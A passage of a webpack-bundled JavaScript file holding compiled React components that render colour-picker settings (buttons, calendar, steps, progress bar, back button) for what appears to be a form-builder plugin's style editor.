					label: (0, _utils.translate)('Background color'),
					isAlpha: true
				})),
				_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "rgba(221,221,221,.5)"),
					property: (0, _utils.getThemePrefix)(this.props) + 'group-border',
					label: (0, _utils.translate)('Border color'),
					isAlpha: true
				})),
				_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "rgba(170,170,170,.5)"),
					property: (0, _utils.getThemePrefix)(this.props) + 'group-divider',
					label: (0, _utils.translate)('Divider color'),
					isAlpha: true
				}))
			);
		}
	}]);

	return GroupColors;
}(_react.Component);

exports.default = GroupColors;

/***/ }),
/* 276 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

var _tabs = __webpack_require__(10);

var _tabs2 = _interopRequireDefault(_tabs);

var _container = __webpack_require__(4);

var _container2 = _interopRequireDefault(_container);

var _accordion = __webpack_require__(35);

var _accordion2 = _interopRequireDefault(_accordion);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var RepeaterColors = function (_Component) {
	_inherits(RepeaterColors, _Component);

	function RepeaterColors(props) {
		_classCallCheck(this, RepeaterColors);

		return _possibleConstructorReturn(this, (RepeaterColors.__proto__ || Object.getPrototypeOf(RepeaterColors)).call(this, props));
	}

	_createClass(RepeaterColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				'div',
				{ className: 'sui-box' },
				_react2.default.createElement(
					_accordion2.default,
					_extends({}, this.props, {
						label: (0, _utils.translate)('Button')
					}),
					_react2.default.createElement(
						_tabs2.default,
						{
							'default': 'default',
							extraClass: 'sui-tabs-flushed',
							type: 'tabs'
						},
						_react2.default.createElement(
							_container2.default,
							{
								value: 'default',
								label: (0, _utils.translate)('Default')
							},
							_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
								label: (0, _utils.translate)('Background color'),
								property: (0, _utils.getThemePrefix)(this.props) + 'repeater-button-background',
								defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#F8F8F8")
							})),
							_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
								label: (0, _utils.translate)('Text color'),
								property: (0, _utils.getThemePrefix)(this.props) + 'repeater-button',
								defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#666666")
							})),
							_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
								label: (0, _utils.translate)('Border color'),
								property: (0, _utils.getThemePrefix)(this.props) + 'repeater-border',
								defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#AAAAAA")
							}))
						),
						_react2.default.createElement(
							_container2.default,
							{
								value: 'hover',
								label: (0, _utils.translate)('Hover')
							},
							_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
								label: (0, _utils.translate)('Background color'),
								property: (0, _utils.getThemePrefix)(this.props) + 'repeater-button-background-hover',
								defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#F1F1F1")
							})),
							_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
								label: (0, _utils.translate)('Text color'),
								property: (0, _utils.getThemePrefix)(this.props) + 'repeater-button-hover',
								defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#666666")
							})),
							_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
								label: (0, _utils.translate)('Border color'),
								property: (0, _utils.getThemePrefix)(this.props) + 'repeater-border-hover',
								defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#AAAAAA")
							}))
						),
						_react2.default.createElement(
							_container2.default,
							{
								value: 'focus',
								label: (0, _utils.translate)('Focus')
							},
							_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
								label: (0, _utils.translate)('Background color'),
								property: (0, _utils.getThemePrefix)(this.props) + 'repeater-button-background-focus',
								defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#F1F1F1")
							})),
							_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
								label: (0, _utils.translate)('Text color'),
								property: (0, _utils.getThemePrefix)(this.props) + 'repeater-button-focus',
								defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#666666")
							})),
							_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
								label: (0, _utils.translate)('Border color'),
								property: (0, _utils.getThemePrefix)(this.props) + 'repeater-border-focus',
								defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#AAAAAA")
							}))
						)
					)
				),
				_react2.default.createElement(
					_accordion2.default,
					_extends({}, this.props, {
						label: (0, _utils.translate)('Icon')
					}),
					_react2.default.createElement(
						_tabs2.default,
						{
							'default': 'default',
							extraClass: 'sui-tabs-flushed',
							type: 'tabs'
						},
						_react2.default.createElement(
							_container2.default,
							{
								value: 'default',
								label: (0, _utils.translate)('Default')
							},
							_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
								label: (0, _utils.translate)('Color'),
								property: (0, _utils.getThemePrefix)(this.props) + 'repeater-icon',
								defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#888888")
							}))
						),
						_react2.default.createElement(
							_container2.default,
							{
								value: 'hover',
								label: (0, _utils.translate)('Hover')
							},
							_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
								label: (0, _utils.translate)('Color'),
								property: (0, _utils.getThemePrefix)(this.props) + 'repeater-icon-hover',
								defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#888888")
							}))
						),
						_react2.default.createElement(
							_container2.default,
							{
								value: 'focus',
								label: (0, _utils.translate)('Focus')
							},
							_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
								label: (0, _utils.translate)('Color'),
								property: (0, _utils.getThemePrefix)(this.props) + 'repeater-icon-focus',
								defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#888888")
							}))
						)
					)
				),
				_react2.default.createElement(
					_accordion2.default,
					_extends({}, this.props, {
						label: (0, _utils.translate)('Link')
					}),
					_react2.default.createElement(
						_tabs2.default,
						{
							'default': 'default',
							extraClass: 'sui-tabs-flushed',
							type: 'tabs'
						},
						_react2.default.createElement(
							_container2.default,
							{
								value: 'default',
								label: (0, _utils.translate)('Default')
							},
							_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
								label: (0, _utils.translate)('Text color'),
								property: (0, _utils.getThemePrefix)(this.props) + 'repeater-link',
								defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
							}))
						),
						_react2.default.createElement(
							_container2.default,
							{
								value: 'hover',
								label: (0, _utils.translate)('Hover')
							},
							_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
								label: (0, _utils.translate)('Text color'),
								property: (0, _utils.getThemePrefix)(this.props) + 'repeater-link-hover',
								defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
							}))
						),
						_react2.default.createElement(
							_container2.default,
							{
								value: 'focus',
								label: (0, _utils.translate)('Focus')
							},
							_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
								label: (0, _utils.translate)('Text color'),
								property: (0, _utils.getThemePrefix)(this.props) + 'repeater-link-focus',
								defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
							}))
						)
					)
				)
			);
		}
	}]);

	return RepeaterColors;
}(_react.Component);

exports.default = RepeaterColors;

/***/ }),
/* 277 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

var _tabs = __webpack_require__(10);

var _tabs2 = _interopRequireDefault(_tabs);

var _container = __webpack_require__(4);

var _container2 = _interopRequireDefault(_container);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var CalendarColors = function (_Component) {
	_inherits(CalendarColors, _Component);

	function CalendarColors(props) {
		_classCallCheck(this, CalendarColors);

		return _possibleConstructorReturn(this, (CalendarColors.__proto__ || Object.getPrototypeOf(CalendarColors)).call(this, props));
	}

	_createClass(CalendarColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_tabs2.default,
				{
					'default': 'default',
					type: 'tabs',
					extraClass: 'sui-tabs-flushed'
				},
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Default'),
						value: 'default'
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Table head color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'calendar-dweek',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#333333"),
						isAlpha: true
					})),
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Table cell border'),
						property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-border-static',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Table cell BG'),
						property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-background-static',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Table cell color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-color-static',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
						isAlpha: true
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Hover'),
						value: 'hover'
					},
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Table cell border'),
						property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-border-hover',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#DDDDDD"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Table cell BG'),
						property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-background-hover',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#DDDDDD"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Table cell color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-color-hover',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771")
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Active'),
						value: 'active'
					},
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Table cell border'),
						property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-border-active',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Table cell BG'),
						property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-background-active',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Table cell color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-color-active',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Current'),
						value: 'current'
					},
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Table cell border'),
						property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-border-current',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Table cell BG'),
						property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-background-current',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#C8DEE7"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Table cell color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-color-current',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
					}))
				)
			);
		}
	}]);

	return CalendarColors;
}(_react.Component);

exports.default = CalendarColors;

/***/ }),
/* 278 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

var _tabs = __webpack_require__(10);

var _tabs2 = _interopRequireDefault(_tabs);

var _container = __webpack_require__(4);

var _container2 = _interopRequireDefault(_container);

var _settingsRow = __webpack_require__(16);

var _settingsRow2 = _interopRequireDefault(_settingsRow);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var StepsColors = function (_Component) {
	_inherits(StepsColors, _Component);

	function StepsColors(props) {
		_classCallCheck(this, StepsColors);

		return _possibleConstructorReturn(this, (StepsColors.__proto__ || Object.getPrototypeOf(StepsColors)).call(this, props));
	}

	_createClass(StepsColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_tabs2.default,
				{
					'default': 'border',
					type: 'tabs',
					extraClass: 'sui-tabs-flushed'
				},
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Border'),
						value: 'border'
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Default'),
						property: (0, _utils.getThemePrefix)(this.props) + 'timeline-border',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
						isAlpha: true
					})),
					this.props.formDesign !== 'bold' && this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Current'),
						property: (0, _utils.getThemePrefix)(this.props) + 'timeline-border-current',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
						isAlpha: true
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Label'),
						value: 'label'
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Default'),
						property: (0, _utils.getThemePrefix)(this.props) + 'timeline-text',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771")
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Current'),
						property: (0, _utils.getThemePrefix)(this.props) + 'timeline-text-current',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Dot'),
						value: 'dot'
					},
					_react2.default.createElement(
						_settingsRow2.default,
						null,
						_react2.default.createElement(
							'div',
							{ className: 'sui-form-field' },
							_react2.default.createElement(
								'label',
								{ className: 'sui-settings-label sui-dark' },
								(0, _utils.translate)('Default state colors')
							)
						),
						this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
							label: (0, _utils.translate)('Border'),
							property: (0, _utils.getThemePrefix)(this.props) + 'timeline-dot-border',
							defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
							isAlpha: true
						})),
						_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
							label: (0, _utils.translate)('Background'),
							property: (0, _utils.getThemePrefix)(this.props) + 'timeline-dot-background',
							defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
							isAlpha: true
						})),
						this.props.formDesign === 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
							label: (0, _utils.translate)('Page number color'),
							property: (0, _utils.getThemePrefix)(this.props) + 'timeline-dot-color',
							defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
						}))
					),
					_react2.default.createElement(
						_settingsRow2.default,
						null,
						_react2.default.createElement(
							'div',
							{ className: 'sui-form-field' },
							_react2.default.createElement(
								'label',
								{ className: 'sui-settings-label sui-dark' },
								(0, _utils.translate)('Current state colors')
							)
						),
						this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
							label: (0, _utils.translate)('Border'),
							property: (0, _utils.getThemePrefix)(this.props) + 'timeline-dot-border-current',
							defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
							isAlpha: true
						})),
						_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
							label: (0, _utils.translate)('Background'),
							property: (0, _utils.getThemePrefix)(this.props) + 'timeline-dot-background-current',
							defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
							isAlpha: true
						})),
						this.props.formDesign === 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
							label: (0, _utils.translate)('Page number color'),
							property: (0, _utils.getThemePrefix)(this.props) + 'timeline-dot-color-current',
							defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
						}))
					)
				)
			);
		}
	}]);

	return StepsColors;
}(_react.Component);

exports.default = StepsColors;

/***/ }),
/* 279 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var ProgressColors = function (_Component) {
	_inherits(ProgressColors, _Component);

	function ProgressColors(props) {
		_classCallCheck(this, ProgressColors);

		return _possibleConstructorReturn(this, (ProgressColors.__proto__ || Object.getPrototypeOf(ProgressColors)).call(this, props));
	}

	_createClass(ProgressColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_react2.default.Fragment,
				null,
				_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					label: (0, _utils.translate)('Label'),
					property: (0, _utils.getThemePrefix)(this.props) + 'progress-label',
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771")
				})),
				_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					label: (0, _utils.translate)('Progress bar BG'),
					property: (0, _utils.getThemePrefix)(this.props) + 'progress-background',
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6"),
					isAlpha: true
				})),
				_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					label: (0, _utils.translate)('Progress status BG'),
					property: (0, _utils.getThemePrefix)(this.props) + 'progress-background-status',
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
					isAlpha: true
				}))
			);
		}
	}]);

	return ProgressColors;
}(_react.Component);

exports.default = ProgressColors;

/***/ }),
/* 280 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

var _tabs = __webpack_require__(10);

var _tabs2 = _interopRequireDefault(_tabs);

var _container = __webpack_require__(4);

var _container2 = _interopRequireDefault(_container);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var BackColors = function (_Component) {
	_inherits(BackColors, _Component);

	function BackColors(props) {
		_classCallCheck(this, BackColors);

		return _possibleConstructorReturn(this, (BackColors.__proto__ || Object.getPrototypeOf(BackColors)).call(this, props));
	}

	_createClass(BackColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_tabs2.default,
				{
					'default': 'default',
					type: 'tabs',
					extraClass: 'sui-tabs-flushed'
				},
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Default'),
						value: 'default'
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'prev-background-static',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#1ABCA1"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Label color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'prev-color-static',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Hover'),
						value: 'hover'
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'prev-background-hover',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#159C85"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Label color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'prev-color-hover',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Focus'),
						value: 'focus'
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'prev-background-active',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#159C85"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Label color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'prev-color-active',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
					}))
				)
			);
		}
	}]);

	return BackColors;
}(_react.Component);

exports.default = BackColors;

/***/ }),
/* 281 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

var _tabs = __webpack_require__(10);

var _tabs2 = _interopRequireDefault(_tabs);

var _container = __webpack_require__(4);

